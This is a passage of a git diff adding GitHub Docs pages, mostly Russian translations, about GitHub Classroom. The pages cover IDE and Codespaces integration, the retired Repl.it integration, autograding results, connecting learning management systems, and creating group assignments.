"[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)" | +| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | +| {% data variables.product.prodname_vscode %} | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace | + +We know cloud IDE integrations are important to your classroom and are working to bring more options. + +## Configuring an IDE for an assignment + +You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." + +## Setting up an assignment in a new IDE + +The first time you configure an assignment using a different IDE, you must ensure that it is set up correctly. + +Unless you use {% data variables.product.prodname_github_codespaces %}, you must authorize the OAuth app for the IDE for your organization. For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." + +{% data variables.product.prodname_github_codespaces %} does not require an OAuth app, but you need to enable {% data variables.product.prodname_github_codespaces %} for your organization to be able to configure an assignment with {% data variables.product.prodname_github_codespaces %}. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#enabling-codespaces-for-your-organization)." + +## Further reading + +- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md new file mode 100644 index 000000000000..32a0f476f6bd --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md @@ -0,0 +1,34 @@ +--- +title: Repl.it с GitHub Classroom +shortTitle: Repl.it with GitHub Classroom +intro: 'По состоянию на 13 июля 2021 г. интеграция Repl.it больше не доступна в {% data variables.product.prodname_classroom %}.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/student-experience-replit + - /education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom + - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-replit-with-github-classroom +ms.openlocfilehash: 4ecbb8e185475dafac8e2e768e89ebaa1051433b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119563' +--- +## Изменения в интеграции Repl.it + +По состоянию на 13 июля 2021 г. Repl.it интеграция больше недоступна. Вот что изменилось: + +- Новые частные и общедоступные реплики больше нельзя создавать в GitHub Classroom. +- Преимущества Replit Hacker, такие как группы доступности Always On и Boosts, больше не доступны для новых пользователей GitHub Classroom. + +## Что это значит для существующих назначений? +Существующие реплики GitHub Classroom навсегда останутся частными, и вы можете отправить работу в GitHub Classroom через эти реплики в срок до 30 сентября 2021 года. Начиная с сентября 2021 года, значок Replit в файле сведений о назначении больше не будет работать. Мы рекомендуем удалить инструкции из всех файлов сведений с помощью интеграции и сообщить учащимся, что значок больше не будет работать. + +Хотя вы больше не можете создавать частные реплики в Classroom, вы можете продолжать создавать частные реплики в Replit до 30 сентября. + +Мы знаем, что интеграция облачной интегрированной среды разработки важна для вашего класса и работает над тем, чтобы предложить вам еще больше возможностей. + +## Дополнительные материалы + +- [О файлах сведений](/github/creating-cloning-and-archiving-repositories/about-readmes) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md new file mode 100644 index 000000000000..87abd3e199cf --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md @@ -0,0 +1,28 @@ +--- +title: Запуск кода учащегося в интегрированной среде разработки +intro: 'Вы можете запустить код из задания учащегося в интегрированной среде разработки (IDE), настроенной для данного назначения.' +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/running-student-code + - /education/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide + - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-online-ide +shortTitle: Run code in IDE +ms.openlocfilehash: cf931f9de8f9b29e85fedb6ba5d984f3943ad872 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112208' +--- +## Код учащегося в интегрированной среде разработки + +При настройке интегрированной среды разработки (IDE) для назначения можно запустить в этой среде код. Вам не нужно клонировать репозиторий назначений на компьютер. + +Дополнительные сведения о средах IDE см. в разделе [Интеграция {% data variables.product.prodname_classroom %} с интегрированной средой разработки (IDE)](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). + +## Выполнение кода учащегося в интегрированной среде разработки + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} +1. Справа от области отправки нажмите кнопку **Просмотреть интегрированную среду разработки**. + ![Кнопка "Просмотреть интегрированную среду разработки" для отправки с помощью интегрированной среды разработки в Интернете](/assets/images/help/classroom/assignments-click-view-ide.png) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md new file mode 100644 index 000000000000..ec2c7c982017 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md @@ -0,0 +1,106 @@ +--- +title: Использование GitHub Codespaces с GitHub Classroom +shortTitle: Using Codespaces with GitHub Classroom +product: '{% data reusables.gated-features.codespaces-classroom-articles %}' +intro: '{% data variables.product.prodname_github_codespaces %} можно использовать как предпочтительный редактор в назначениях для предоставления учащимся доступа к среде Visual Studio Code на основе браузера с помощью настройки одним щелчком мыши.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can enable {% data variables.product.prodname_github_codespaces %} for their organization and integrate {% data variables.product.prodname_github_codespaces %} as the supported editor for an assignment. {% data reusables.classroom.classroom-admins-link %}' +ms.openlocfilehash: 6794d20b9ea0153b3baf4bee1a08c68b2ba17456 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158880' +--- +## О {% data variables.product.prodname_github_codespaces %} + +{% data variables.product.prodname_github_codespaces %} — это современная облачная среда разработки, которая использует контейнер для предоставления популярных языков, инструментов и служебных программ для разработки. {% data variables.product.prodname_github_codespaces %} также можно настроить, что позволяет создать настраиваемую среду разработки, которая будет одинаковой для всех пользователей проекта. Дополнительные сведения см. в статье "[Обзор {% data variables.product.prodname_github_codespaces %}](/codespaces/overview)". + +После включения {% data variables.product.prodname_github_codespaces %} в организации или на предприятии пользователи могут создать codespace из любой ветви или фиксации в организации или корпоративном репозитории и начать разработку с использованием облачных вычислительных ресурсов. Вы можете подключиться к пространству кода через браузер или в локальной среде Visual Studio Code. + +{% data reusables.codespaces.links-to-get-started %} + +Назначение {% data variables.product.prodname_github_codespaces %} в качестве предпочтительного редактора для задания в GitHub Classroom полезно как для учащихся, так и для преподавателей. {% data variables.product.prodname_github_codespaces %} является хорошим вариантом для учащихся, использующих устройства с кредитом или без доступа к локальной настройке интегрированной среды разработки, так как каждое пространство кода основано на облаке и не требует локальной настройки. Учащиеся могут запустить пространство кода для репозитория заданий в Visual Studio Code, используя любой браузер, и начать разработку без дополнительной настройки. + +Для заданий со сложными средами преподаватели могут настроить конфигурацию контейнера разработки для конкретных пространств кода в репозитории. В этом случае при создании пространства кода учащийся автоматически получит среду разработки, настроенную преподавателем. Дополнительные сведения о контейнерах разработки см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers). + +{% note %} + +**Примечание.** Отдельные среды codespace удаляются, если они остановлены и не используются в течение длительного периода. Дополнительные сведения см. в статье [Настройка автоматического удаления сред codespace](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces). + +{% endnote %} + +{% data reusables.education.student-codespaces-benefit %} + +{% note %} + +**Примечание.** {% data reusables.education.note-on-student-codespaces-usage %} + +{% endnote %} + +## Сведения о преимуществах {% data variables.product.prodname_codespaces %} Education для подтвержденных преподавателей + +Преимущество для образования {% data variables.product.prodname_codespaces %} предоставляет проверенным преподавателям бесплатное ежемесячное пособие в размере {% data variables.product.prodname_github_codespaces %} часов для использования в {% data variables.product.prodname_classroom %}. Этого пособия, по усредненным оценкам, достаточно для работы класса с 50 учащимися и 5 заданиями в месяц на компьютере с 2 ядрами и хранения 1 пространства кода для каждого учащегося. + +{% data reusables.classroom.free-limited-codespaces-for-verified-teachers-beta-note %} + +Чтобы стать подтвержденным учителем, необходимо получить утверждение на использование преимущества для преподавателя. Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). + +Получив сообщение о том, что вы стали подтвержденным преподавателем, посетите [{% data variables.product.prodname_global_campus %} для преподавателей](https://education.github.com/globalcampus/teacher) и обновите GitHub Team для организации. Дополнительные сведения см. в разделе [Продукты GitHub](/get-started/learning-about-github/githubs-products#github-team). + +Если вы имеете право на {% data variables.product.prodname_codespaces %} Для образования, при включении {% data variables.product.prodname_github_codespaces %} в {% data variables.product.prodname_classroom %} для вашей организации GitHub автоматически добавляет политику Codespace, ограничивающую типы компьютеров для всех codespace в организации до 2 основных компьютеров. Это поможет вам максимально эффективно использовать бесплатные {% data variables.product.prodname_github_codespaces %}. Но вы можете свободно изменять или удалять такие политики в параметрах организации. Дополнительные сведения см. в разделе [Ограничение доступа по типам компьютеров](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). + +Когда преимущество для образования {% data variables.product.prodname_codespaces %} выходит из бета-версии, если ваша организация превысит свое бесплатное пособие на использование {% data variables.product.prodname_github_codespaces %}, вашей организации будет выставлен счет за дополнительное использование. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). + +## Включение {% data variables.product.prodname_codespaces %} для организации + +{% data variables.product.prodname_github_codespaces %} доступно для использования с {% data variables.product.prodname_classroom %} для организаций, использующих {% data variables.product.prodname_team %}. Если вы имеете право на {% data variables.product.prodname_codespaces %} Для образования, необходимо включить {% data variables.product.prodname_github_codespaces %} через {% data variables.product.prodname_classroom %}, а не включать его непосредственно в параметрах организации. В противном случае плата за использование {% data variables.product.prodname_github_codespaces %} будет выставляться непосредственно вашей организации. + +### Включение Codespaces для организации при создании новой аудитории +{% data reusables.classroom.sign-into-github-classroom %} +1. Нажмите кнопку **Создать аудиторию**. + + ![Кнопка "Создать аудиторию"](/assets/images/help/classroom/click-new-classroom-button.png) + +1. В списке организаций выберите организацию, которую хотите использовать для своей аудитории. Организации, имеющие право на {% data variables.product.prodname_github_codespaces %}, получат заметку о том, что они имеют право. При необходимости создайте новую организацию. Дополнительные сведения см. в статье [Создание новой организации с нуля](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). + + ![Выбор организации для аудитории с правом на использование Codespaces](/assets/images/help/classroom/org-view-codespaces-eligibility.png) + +1. На странице "Имя аудитории" в разделе "{% data variables.product.prodname_codespaces %} в аудитории" щелкните **Включить**. Обратите внимание, что это позволит включить {% data variables.product.prodname_github_codespaces %} для всех репозиториев и пользователей в организации. + + ![Включение Codespaces для организации на странице "Основные сведения о настройке аудитории"](/assets/images/help/classroom/setup-classroom-enable-codespaces-button.png) + +1. Когда вы будете готовы создать аудиторию, щелкните **Создать аудиторию**. + +### Настройка Codespaces для организации в существующей аудитории + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} +1. В {% data variables.product.prodname_github_codespaces %} щелкните **Включить**. Это позволит включить {% data variables.product.prodname_github_codespaces %} для всех репозиториев и пользователей в организации. Также добавляется новая политика Codespace с ограничением типов компьютеров, которая позволяет использовать только компьютеры с 2 ядрами для всех пространств кода в организации. + + ![Настройка Codespaces для организации в параметрах существующей аудитории](/assets/images/help/classroom/classroom-settings-enable-codespaces-button.png) + +Вы можете использовать те же методы, что и выше, чтобы отключить {% data variables.product.prodname_github_codespaces %} для вашей организации. Обратите внимание, что {% data variables.product.prodname_github_codespaces %} будет отключен для всех пользователей и репозиториев в организации. + +## Настройка назначения для использования {% data variables.product.prodname_codespaces %} +Чтобы сделать {% data variables.product.prodname_github_codespaces %} доступным учащимся для задания, можно выбрать {% data variables.product.prodname_github_codespaces %} в качестве поддерживаемого редактора для задания. При создании нового назначения на странице "Добавление начального кода и выбор необязательной интегрированной среды разработки в Интернете" в разделе "Добавление поддерживаемого редактора" выберите **{% data variables.product.prodname_github_codespaces %}** в раскрывающемся меню. + +![Выбор Codespaces в качестве поддерживаемого редактора для назначения](/assets/images/help/classroom/select-supported-editor-including-codespaces.png) + +Если вы используете для задания репозиторий шаблонов, вы можете определить в этом репозитории контейнер разработки, чтобы настроить средства и среды выполнения, доступные учащимся при запуске пространства кода для работы над этим заданием. Если контейнер разработки не определен, {% data variables.product.prodname_github_codespaces %} будет использовать конфигурацию по умолчанию, которая содержит множество популярных средств разработки, которые могут потребоваться учащимся. Дополнительные сведения об определении контейнера разработки см. в статье [Добавление конфигурации контейнера разработки в репозиторий](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces). + +## Запуск назначения с помощью {% data variables.product.prodname_github_codespaces %} + +Когда учащийся открывает задание, файл README в репозитории содержит рекомендации преподавателя по использованию интегрированной среды разработки. + +![Снимок экрана: примечание Codespaces в файле README в репозитории задания для учащихся](/assets/images/help/classroom/student-codespaces-readme-link.png) + +Учащиеся могут запустить новое или существующее codespace, нажав кнопку **Открыть в GitHub Codespace** в файле сведений или нажав кнопку **{% octicon "code" aria-label="The code icon" %} Code** на главной странице репозитория заданий, а затем выбрав вкладку **Codespaces** . На вкладке **Codespaces** можно выбрать существующее codespace или создать новое. Дополнительные сведения см. в разделе [Создание пространства кода для репозитория](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). + +![Запуск нового пространства кода в репозитории назначений](/assets/images/help/classroom/student-launch-new-codespace.png) + +Преподаватели могут просматривать пространство кода для задания, используемое каждым учащимся, на странице обзорных сведений о задании. Щелкните значок Codespaces в правой части строки для любого учащегося, чтобы запустить его пространство кода. + +![Общие сведения о назначении преподавателей для пространств кода учащихся](/assets/images/help/classroom/teacher-assignment-view-with-codespaces.png) + +При подключении к пространству кода в браузере автоматически включается автосохранение. Если вы хотите сохранить внесенные изменения в репозитории, необходимо зафиксировать эти изменения и отправить их в ветвь удаленного репозитория. По умолчанию, если пространство кода не используется в течение 30 минут, истекает время ожидания и работа пространства кода прекращается. Все ваши данные будут сохранены по состоянию на момент последнего изменения. Дополнительные сведения о жизненном цикле codespace см. в разделе [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle). diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md new file mode 100644 index 000000000000..d46909e5c7a5 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md @@ -0,0 +1,16 @@ +--- +title: Обучение с помощью GitHub Classroom +intro: 'Вы можете участвовать в курсовой работе в {% data variables.product.prodname_classroom %} и просматривать результаты, предоставленные преподавателем.' +versions: + fpt: '*' +children: + - /view-autograding-results +shortTitle: Learn with Classroom +ms.openlocfilehash: 0bef8bfbd7e60068f617e393271c31e71b187b28 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145112184' +--- + diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md new file mode 100644 index 000000000000..7e93c6339247 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md @@ -0,0 +1,30 @@ +--- +title: View autograding results +intro: You can see results from autograding within the repository for your assignment. +versions: + fpt: '*' +redirect_from: + - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students + - /education/manage-coursework-with-github-classroom/view-autograding-results +--- +## About autograding + +Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.location.product_location %}. + +If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X. + +## Viewing autograding results for an assignment repository + +{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." + +The **Actions** tab shows the full history of test runs. + +!["Actions" tab with "All workflows" selected](/assets/images/help/classroom/autograding-actions-tab.png) + +You can click a specific test run to review log output, like compilation errors and test failures. + +![The "{% data variables.product.prodname_classroom %} Autograding Workflow" test results logs in {% data variables.product.prodname_actions %} ](/assets/images/help/classroom/autograding-actions-logs.png) + +## Further reading + +- "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md new file mode 100644 index 000000000000..2e3140ded0ba --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md @@ -0,0 +1,124 @@ +--- +title: Connect a learning management system course to a classroom +intro: 'You can configure an LTI-compliant learning management system (LMS) course to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom + - /education/manage-coursework-with-github-classroom/connect-to-lms + - /education/manage-coursework-with-github-classroom/generate-lms-credentials + - /education/manage-coursework-with-github-classroom/setup-canvas + - /education/manage-coursework-with-github-classroom/setup-generic-lms + - /education/manage-coursework-with-github-classroom/setup-moodle + - /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom + - /education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom +shortTitle: Connect an LMS course +--- +## About connecting an LMS to your classroom + +You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %} and import a roster of student identifiers from the LMS. + +## Prerequisites + +Before you can connect your LMS to a classroom, an administrator for your LMS instance needs to register your LMS with GitHub Classroom to initiate the OAuth handshake. An admin only needs to do this registration process once, then any teacher who uses their LMS instance may sync their LMS courses to classrooms. For more information, see "[Register a learning management system with GitHub Classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom)." + +{% note %} + +**Note:** {% data reusables.classroom.google-classroom-note %} + +{% endnote %} + +To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." + +## Supported LMSes + +{% data reusables.classroom.supported-lmses %} + +## Linking a Canvas course with a classroom + +You can link your Moodle course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). + +An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see "[Configuring Canvas for {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-canvas-for-github-classroom)." + +1. Sign into [Canvas](https://www.instructure.com/canvas/#login). +1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. +2. Click "Settings" in the left sidebar, then click the "Apps" tab. +3. Click the **+ App** button. +4. Under "Configuration Type", select **By Client ID** from the dropdown menu. +5. Under "Client ID", input the Client ID that your LMS administrator created when registering your LMS instance with {% data variables.product.prodname_classroom %}. +6. Click **Submit**, then click **Install**. +7. Refresh the page, and you should see a **GitHub Classroom** link in the course sub-navigation menu on the right hand side of the course details page. Note that the name may be different if your LMS admin named it something else when registering your LMS. +8. Clicking the **GitHub Classroom** link will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. + +Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see "[Importing a roster from your LMS](#importing-a-roster-from-your-lms)." +## Linking a Moodle course with a classroom + +You can link your Moodle course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Moodle, see the [Moodle website](https://moodle.org). + +An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see "[Configuring Moodle for {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-moodle-for-github-classroom)." + +You must be using Moodle version 3.0 or greater. + +1. Sign into [Moodle](https://moodle.org/login/). +1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. +2. Under "External Tools, under "General", you should see a button with the name "GitHub Classroom". Note that the name may be different if your LMS admin named it something else when registering your LMS. +3. Clicking the **GitHub Classroom** button will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. + +Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see "[Importing a roster from your LMS](#importing-a-roster-from-your-lms)." +## Linking a Sakai course with a classroom + +You can link your Sakai course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Sakai, see the [Sakai website](https://www.sakailms.org/). + +An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see "[Configuring Moodle for {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-moodle-for-github-classroom)." + +1. Sign into your Sakai instance. +2. Select the Sakai course to integrate with {% data variables.product.prodname_classroom %}. +3. Click on **External Tools**. +4. Click on **Tool Links**. +5. Clicking the "GitHub Classroom" link will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. + +Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see "[Importing a roster from your LMS](#importing-a-roster-from-your-lms)." + + +## Importing a roster from your LMS + +To import your roster from your LMS: +1. Open your linked classroom in {% data variables.product.prodname_classroom %} and select the "Students" tab. +2. Click the **Import from...** button containing the name of your LMS (Canvas, Sakai, or Moodle). + + ![Import from Canvas button](/assets/images/help/classroom/import-from-connected-lms.png) + +3. Select which identifier you'd like to use for your students, then click **Import roster entries**, and your roster will be imported. + +To update an existing roster: + 1. Open your linked classroom in {% data variables.product.prodname_classroom %} and select the "Students" tab. + 2. Click the **Sync from...** button containing the name of your LMS (Canvas, Sakai, or Moodle). + +![Sync from Moodle button](/assets/images/help/classroom/moodle-sync-roster.png) + +## Importing a roster from Google Classroom + +Google Classroom does not use the LTI protocol so does not need to be connected to GitHub Classroom before importing the roster. + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-students %} +1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. + - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." + - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." +1. In the list of LMSes, click **Google Classroom**. + !["Google Classroom" button](/assets/images/help/classroom/classroom-settings-click-google-classroom.png) +1. Sign in to Google, then select the Classroom to link to. + +## Disconnecting your LMS + +You can disconnect your classroom from your LMS in {% data variables.product.prodname_classroom %} settings. + +{% data reusables.classroom.sign-into-github-classroom %} +{% data reusables.classroom.click-classroom-in-list %} +{% data reusables.classroom.click-settings %} +1. Under "Connect to a learning management system (LMS)", click **Connection Settings**. + !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png) +1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**. + !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md new file mode 100644 index 000000000000..1a4f1e39a056 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,161 @@ +--- +title: Создание группового задания +intro: 'Вы можете создать совместное задание для команд учащихся, участвующих в курсе.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/create-group-assignments + - /education/manage-coursework-with-github-classroom/create-a-group-assignment +ms.openlocfilehash: ef1db8e95be1e35ae747f5a42d1105205980af32 +ms.sourcegitcommit: 04329ee7464efbb558d77d06664e8578cd154d87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/15/2022 +ms.locfileid: '148046493' +--- +## Сведения о групповых заданиях + +{% data reusables.classroom.assignments-group-definition %} Учащиеся могут совместно работать над групповым заданием в общем репозитории, как команда профессиональных разработчиков. + +Когда учащийся принимает групповое задание, он может создать новую команду или присоединиться к существующей. {% data variables.product.prodname_classroom %} сохраняет команды для задания в виде набора. Вы можете назначить набор команд для конкретного задания при создании этого задания, а также повторно использовать этот набор команд для последующего задания. + +{% data reusables.classroom.classroom-creates-group-repositories %} + +{% data reusables.classroom.about-assignments %} + +Вы можете определять, сколько команд может быть ы одном задании, и сколько участников может быть в каждой команде. Каждая команда, созданная учащимся для задания, является командой в вашей организации в {% data variables.product.product_name %}. Команда не отображается открыто. Команды, создаваемые в {% data variables.product.product_name %}, не будут отображаться в {% data variables.product.prodname_classroom %}. Дополнительные сведения см. в статье "[Сведения о командах](/organizations/organizing-members-into-teams/about-teams)". + +Видеоролик, в котором показано, как создать групповое задание, см. в разделе [Общие сведения о настройке {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom). + +{% data reusables.classroom.reuse-assignment-link %} + +## Предварительные требования + +{% data reusables.classroom.assignments-classroom-prerequisite %} + +## Создание задания + +{% data reusables.classroom.assignments-guide-create-the-assignment %} + +## Настройка основных сведений о задании + +Укажите имя задания, решите, следует ли установить крайний срок выполнения, определите команды и выберите видимость репозиториев для задания. + +- [Указание имени задания](#naming-an-assignment) +- [Назначение крайнего срока выполнения для задания](#assigning-a-deadline-for-an-assignment) +- [Выбор типа задания](#choosing-an-assignment-type) +- [Определение команд для задания](#defining-teams-for-an-assignment) +- [Выбор видимости для репозиториев задания](#choosing-a-visibility-for-assignment-repositories) + +### Указание имени задания + +Для группового задания {% data variables.product.prodname_classroom %} именует репозитории, используя префикс репозитория и имя команды. По умолчанию префикс репозитория используется в качестве заголовка задания. Например, если вы назвали задание как "assignment-1", а команда в {% data variables.product.product_name %} имеет имя "student-team", репозиторий задания для участников команды будет иметь имя `assignment-1-student-team`. + +{% data reusables.classroom.assignments-type-a-title %} + +### Назначение крайнего срока выполнения для задания + +{% data reusables.classroom.assignments-guide-assign-a-deadline %} + +### Выбор типа задания + +В разделе "Индивидуальное или групповое задание" щелкните раскрывающееся меню и выберите **Групповое задание**. Вы не можете изменить тип задания после создания задания. Если вы хотите создать индивидуальное задание, см. раздел [Создание индивидуального задания](/education/manage-coursework-with-github-classroom/create-an-individual-assignment). + +### Определение команд для задания + +Если вы уже создали групповое задание для аудитории, то можете повторно использовать набор команд для нового задания. Чтобы создать новый набор с командами, создаваемыми учащимися для задания, введите имя набора. При необходимости введите максимальное количество участников команд и максимальное количество команд. + +{% tip %} + +**Совет**. + +- Рекомендуется включить в имя набора команд сведения об этом наборе. Например, если вы хотите использовать набор команд для одного 